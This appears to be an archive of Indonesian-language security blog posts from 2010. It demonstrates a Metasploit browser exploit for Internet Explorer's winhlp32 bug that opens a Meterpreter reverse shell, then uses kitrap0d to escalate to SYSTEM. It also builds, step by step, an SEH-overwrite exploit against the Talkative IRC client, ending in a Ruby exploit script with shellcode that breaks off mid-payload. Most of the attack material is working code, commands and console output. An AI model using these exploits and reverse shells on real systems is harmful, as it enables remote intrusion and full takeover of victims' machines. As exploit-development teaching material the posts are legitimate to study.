Archive for the ‘Bug & Exploit’ Category

Malicious .hlp, kiTrap0d, system shell

Saturday, March 6th, 2010

Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,

It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is a stack overflow vulnerability in winhlp32.exe

Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’.

Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,

MsgBox(prompt[,buttons][,title][,helpfile,context])

Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,




PoC tersebut dapat dilihat dari sini.

Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada \\184.73.14.110\PUBLIC\test.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.

Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.

Saat ini \\184.73.14.110\PUBLIC\test.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’.

Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam ‘browser exploitaion’.

Berikut ini contoh penggunaannya,


                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 531 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
       =[ svn r8724 updated today (2010.03.05)

msf exploit(ie_winhlp32) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.2.104    yes       The local address
   LPORT     4444             yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_winhlp32) > exploit
[*] Exploit running as background job.
msf exploit(ie_winhlp32) >
[*] Started reverse handler on 192.168.2.104:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.2.104:80/
[*] Server started.

msf exploit(ie_winhlp32) >
[*] Request for "/" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1367
[*] Using \\192.168.2.104\pXdaQozNq\OZdxWwnxWuR8K.hlp ...
[*] Sending HTML page to 192.168.2.105:1367...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending HLP multistatus for /pXdaQozNq/OZdxWwnxWuR8K.hlp ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending HLP to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.ANN ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.GID ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.CNT ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.FTG ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Sending 404 for PUT /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending EXE multistatus for /pXdaQozNq/calc.exe ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/shell32.dll ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending EXE to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/rsaenh.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/%1 ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Manifest ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Config ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/ws2_32.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/WS2HELP.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/hnetcfg.dll ...
[*] Sending stage (747008 bytes)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/crypt32.dll ...
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.105:1371)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/IPHLPAPI.DLL ...

msf exploit(ie_winhlp32) > sessions  

Active sessions
===============
  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.2.104:4444 -> 192.168.2.105:1371

msf exploit(ie_winhlp32) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: XPSP2\user

Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).

Exploit ini dapat digunakan pada feature ‘browser autopwn’-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.

Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas :) .

Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari sini, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable).

Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami ‘fungsi’-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.

Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi.

Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:

meterpreter > getuid
Server username: XPSP2\user

Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya ‘user’) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator.

Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses ’system’ jika paylod yang digunakan adalah meterpreter. Berikut ini contoh nya,

meterpreter > getuid
Server username: XPSP2\user
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer: XPSP2
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > run kitrap0d
[*] Currently running as XPSP2\user

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\fEiMXC.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1948)...

[*] Received WebDAV PROPFIND request from 192.168.2.105:1372
[*] Sending 404 for /pXdaQozNq/cmd.exe ...
'\\192.168.2.104\pXdaQozNq'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x2890a bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 300
[?] OpenProcess(300) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

meterpreter >

Well, that’s the lesson for tonight folks. Don’t care from which side you are from, goodboy and badboy can use metasploit for evil thing. Use your own creativity to get more and more from opensource product (anyone interested to put above two into ’sploit pack’? :p).

Have a nice weekend.

SEH Overwrite for n00b

Sunday, January 31st, 2010

Baru-baru ini disalah satu forum yang membahas security ada diskusi mengenai SEH overwrite, SEH overwrite merupakan salah satu metode favorite yang umum digunakan untuk meng-eksploitasi aplikasi dalam sistem operasi Microsoft Windows. Dan berhubung ini adalah malam minggu (hey…what’s the correlation??), then let’s talk about this.

Kita tidak akan menceritakan secara detail mengenai apa itu SEH, mungkin akan dibahas pada waktu yang lain, yang pasti SEH (Structure Exception Handle) merupakan salah satu teknologi yang diusung oleh sistem operasi Microsoft Windows dan dapat dimanfaatkan untuk proses eksploitasi suatu bug, khususnya stack based memory corruption. Bisa dibilang SEH overwrite merupakan tehnik yang melibatkan bug aplikasi dilingkungan stack.

Prinsipnya adalah, jika kita bisa membuat suatu aplikasi crash, dan crash tersebut berada di lingkungan stack (contoh: stack-based buffer overflow), dan ketika aplikasi crash ternyata struktur rantai SEH (SEH chain) bisa di-overwrite, maka kemungkinan besar kita bisa mengambil alih sistem dengan memanfaatkan tehnik SEH Overwrite.

(more…)

Talkative IRC 0.4.4.16 Remote Stack Overflow

Thursday, January 21st, 2010

Bug ini merupakan bug lama, namun proses eksploitasinya yang memanfaatkan SEH overwrite cukup menarik untuk menjadi bahan pembelajaran. Jika kalian ingin mencoba maka dapat mendownload versi software yang vulnerable dari link ini. Saat tulisan ini dibuat, talkative masih tetap vulnerable walaupun di download dari situs resminya. Sepertinya developer software tersebut sudah tidak melanjutkan pengembangan software ini.

Dari milw0rm, kita tahu bahwa exploitasi talkative dengan memanfaatkan SEH overwrite. Crash dapat di-trigger dengan code berikut ini:

#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + "A" * 500 + " PRIVMSG " + "J" * 4 + " : /FINGER " + "K" * 8 + ".\r\n"
chld.put(crash)
sock.close

Dengan menggunakan windbg kita dapat melihat posisi berikut ini ketika crash terjadi:

(36c.4f4): Unknown exception - code 0eedfade (first chance)
ModLoad: 662b0000 66308000   C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a90000 71a98000   C:\WINDOWS\System32\wshtcpip.dll
(36c.7cc): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Unknown exception - code 0eedfade (first chance)
(36c.4f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:41414131=????????

Kita bisa lihat bahwa crash terjadi di lokasi 0×004d8260. Crash mengakibatkan terjadinya suatu exception (access violation), berikut ini operasi yang menyebabkan terjadinya crash,

mov eax, dword ptr [eax-10h] ds:0023:41414131=????????

Pada posisi tersebut, nilai eax berisi karakter yang kita kirimkan (0×41414141) dan dalam operasi tersebut nilai dari pointer yang ditunjuk oleh [eax-10h] akan di masukan kedalam register eax. Namun karena nilai eax telah dimodifikasi melalui inputan server maka operasi tersebut menunjuk lokasi yang tidak valid (0×41414131) dan mengakibatkan suatu “access violation”.

SEH overwrite

Ketika exception tersebut terjadi maka sistem operasi akan menjalankan procedure SEH (Structure Exception Handler), yang secara default akan men-terminate aplikasi. Kita akan mencari tahu apakah inputan server sebelumnya juga dapat meng-overwrite SEH,

0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41414141
Invalid exception stack at 41414141

terlihat dengan jelas bahwa struktur SEH pun ikut termodifikasi. Dengan kata lain, exploitasi dapat dilakukan dengan memanfaatkan tehnik SEH overwrite (dengan catatan DEP disabled dan aplikasi tidak di-compile menggunakan SafeSEH).

Walaupun dari exploit tersebut kita sudah mengetahui posisi offset berapa untuk overwrite SEH record serta Next SEH record, namun ada baiknya kita melakukan cross-check ulang sebagai bahan pembelajaran dengan asumsi hanya mengetahui advisories dari bug tersebut. Ada beberapa tools yang dapat digunakan, untuk saat ini kita akan menggunakan bantuan metasploit dan byakugan.

Pada code talkative_crash.rb diatas, ganti pattern untuk trigger crash yang semula 500 bytes karakter “A” dengan pattern metasploit.

crash = “:” + Rex::Text.pattern_create(500) + ” PRIVMSG ” + “J” * 4 + ” : /FINGER ” + “K” * 8 + “.\r\n”

Jalankan kembali talkative untuk connect ke server talkative_crash.rb, sesaat setelah crash maka kita akan analisis kembali menggunakan windbg.

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000004 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf msfpattern crash 500 500
[J] Creating buffer crash.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
	Buf: crash	Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1
An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

0:000> !jutsu hunt
[J] Controlling eax with crash at offset 268.
[J] Found buffer crash @ 0x0012cf67
[J] Found buffer crash @ 0x001856ec - Victim of Unicode Conversion!
0:000> !exchain
0012f098: Talkative_IRC+d82c4 (004d82c4)
0012f1d0: 41326a41
Invalid exception stack at 316a4130

Dengan menggunakan byakugan, kita dapat membuat buffer yang memuat metasploit pattern seperti yang di generate oleh talkative_crash.rb. Kemudian dengan “!jutsu hunt” kita dapat mencari pada offset ke berapa dari buffer tersebut yang telah mengisi nilai general register / mengontrol nilai general register. Dalam classic stack-overflow biasanya ini digunakan untuk menentukan offset pengontrol EIP, namun sayangnya untuk SEH based exploit seperti contoh ini byakugan belum dapat menganalisis secara otomatis pattern yang telah mengoverwrite SEH record. Untuk itu kita lakukan secara manual.

Finding the offset

Next SEH record di-overwrite oleh karakter 0×41326a41, dan SEH record di-overwrite oleh karakter 0×316a4130. Dengan memahami bahwa arsitektur x86 adalah little endian, maka kita bisa mendapatkan string pattern dengan memanfaatkan bantuan dari tools semacam ini.

Hex: 30416a31, Ascii: 0Aj1

Hex: 416a3241, Ascii: Aj2A

Selanjutnya dengan bantuan “pattern_offset.rb” kita dapat menentukan pada offset keberapakah SEH record serta Next SEH record tersebut di-overwrite,

Snow:tools$ ./pattern_offset.rb 0Aj1 500
272
Snow:tools$ ./pattern_offset.rb Aj2A 500
276

Kesimpulan akhir didapat bahwa SEH record di-overwrite oleh karakter pada offset 272 sedangkan Next SEH record di-overwrite oleh karakter pada offset 276. Sebagaimana karakteristik SEH based exploit, kita akan mencari lokasi memory yang memuat opcode “pop pop ret”. Talkative tidak di-compile menggunakan /SafeSEH, sehingga binary dari Talkative itu sendiri dapat digunakan sebagai trampoline untuk opcode “pop pop ret”. Selain menggunakan binary dari aplikasi seperti talkative ini kita juga dapat menggunakan loadable module dari windows, namun berhubung tiap versi windows berbeda-beda dan setiap service pack akan mengakibatkan struktur yang berbeda pula maka akan jauh lebih baik menggunakan library yang di-load oleh aplikasi atau bahkan binary dari aplikasi itu sendiri.

Pop, pop, ret

Dalam hal talkative, pertama-tama kita akan mencari dari binary software itu sendiri. Immunity debugger memiliki beberapa feature untuk mendeteksi /SafeSEH maupun mencari opcode “pop pop ret” secara otomatis yang bebas dari /SafeSEH, diantara pyCommand yang dapat digunakan adalah pvefindaddr buatan Peter Van Echoutte. Berikut ini contoh penggunaannya,

“!pvefindaddr p” akan mencari opcode “pop pop ret” dari module-module yang di-load oleh aplikasi talkative namun tidak di-compile menggunakan /SafeSEH (SEH protection). Sayangnya opcode “pop pop ret” dari binary “talkative irc.exe” berada di lokasi memory yang terdapat karakter “00″, exploitasi akan memasukan lokasi memory tersebut sebagai string yang akibatnya dikenal sebagai “akhir dari string” sehingga tidak bisa digunakan. Untuk itu kita akan memilih lokasi memory lain, sebagai contoh:

pop esi
pop ebx
ret 04 at 0×72d1146b [msacm32.drv] Access: (PAGE_EXECUTE_READ)

Sehingga code dari talkative_crash.rb menjadi seperti berikut:

#!/usr/bin/env ruby

# lokasi library metasploit untuk digunakan (rex)
msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# definisikan port untuk listen connection
server_param = { 'LocalPort' => '6667' }

# buat dan aktifkan server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# crash
crash = ":" + Rex::Text.pattern_create(272) + "\xcc\xcc\xcc\xcc" + [0x72d1146b].pack('V') + " PRIVMSG " + "B" * 4 + " : /FINGER " + "C" * 8 + ".\r\n"
chld.put(crash)
sock.close

Setelah talkative_irc.exe crash maka akan diambil alih oleh SEH record, SEH record di tunjuk oleh Next SEH record yang berada di lokasi 0×72d1146b.

0:000> u 0×72d1146b
msacm32!wodMessage+0×241:
72d1146b 5f pop edi
72d1146c 5d pop ebp
72d1146d c21400 ret 14h

akibat dari “pop, pop, ret” eksekusi akan dibawa menuju lokasi SEH record yang dari code diatas diisi oleh “\xcc\xcc\xcc\xcc” (INT 3). Apabila dijalankan maka akan menghasilkan

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6a413969 ebx=00000000 ecx=0012f0d0 edx=00000008 esi=00000000 edi=00421c40
eip=004d8260 esp=0012f08c ebp=0012f1c4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** WARNING: Unable to verify checksum for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Vuln\Talkative IRC\Talkative IRC.exe
Talkative_IRC+0xd8260:
004d8260 8b40f0          mov     eax,dword ptr [eax-10h] ds:0023:6a413959=????????
0:000> g
(c4.100): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=72d1146b edx=7c9032bc esi=00000000 edi=7c9032a8
eip=0012f1d0 esp=0012ecdc ebp=0012eda4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
0012f1d0 cc              int     3

Kita akan mencari lokasi shellcode. Pada code talkative_crash sebelumnya kita bisa memasukan sebanyak 500 byte (karakter) untuk membuat crash, 272 byte sudah dipakai sebagai junk awal, 4 byte berikutnya dipakai untuk overwrite SEH record, 4 byte berikutnya dipakai untuk overwrite Next SEH record. Yang berarti byte setelahnya bisa digunakan untuk shellcode. Untuk itu kita akan coba ubah isi variable crash menjadi seperti berikut,

crash = “:” + Rex::Text.pattern_create(272) + “\xcc\xcc\xcc\xcc” + [0x72d1146b].pack(’V') + “A” * 500 + ” PRIVMSG ” + “B” * 4 + ” : /FINGER ” + “C” * 8 + “.\r\n”

Setelah SEH record dieksekusi, kita akan melihat deretan karakter “A” berada disekitar register EIP,

0:000> d eip
0012f1d0  cccccccc 72d1146b 41414141 41414141
0012f1e0  41414141 41414141 41414141 41414141
0012f1f0  41414141 41414141 41414141 41414141
0012f200  41414141 41414141 41414141 41414141
0012f210  41414141 41414141 41414141 41414141
0012f220  41414141 41414141 41414141 41414141
0012f230  41414141 41414141 41414141 41414141
0012f240  41414141 41414141 41414141 41414141
0:000> d
0012f250  41414141 41414141 41414141 41414141
0012f260  41414141 41414141 41414141 41414141
0012f270  41414141 41414141 41414141 41414141
0012f280  41414141 41414141 41414141 41414141
0012f290  41414141 41414141 41414141 41414141
0012f2a0  41414141 41414141 41414141 41414141
0012f2b0  41414141 41414141 41414141 41414141
0012f2c0  41414141 41414141 41414141 41414141
0:000> d
0012f2d0  41414141 41414141 41414141 41414141
0012f2e0  41414141 41414141 41414141 41414141
0012f2f0  41414141 41414141 41414141 41414141
0012f300  41414141 41414141 41414141 41414141
0012f310  41414141 41414141 41414141 41414141
0012f320  41414141 41414141 41414141 41414141
0012f330  41414141 41414141 41414141 41414141
0012f340  41414141 41414141 41414141 41414141

Ini adalah tipikal SEH based exploitation. Dengan cukup memasukan opcode “jump short” beberapa byte kedepan saat overwrite SEH record maka shellcode dapat dieksekusi (shellcode menggantikan posisi “A” * 500). Kita bisa menggunakan jump short 6 byte kedepan, namun untuk membuat exploit lebih reliable maka biasanya diletakan NOP sled sebelum shellcode. Pada exploit kita akan meletakan 20 NOP sled sebelum akhirnya shellcode yang sebenarnya. Berikut ini talkative_spl0it.rb,

#!/usr/bin/env ruby

msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# define server parameter
server_param = { 'LocalPort' => '6667' }
# create the server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# exec= calc.exe
shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"+
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"+
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"+
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"+
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"+
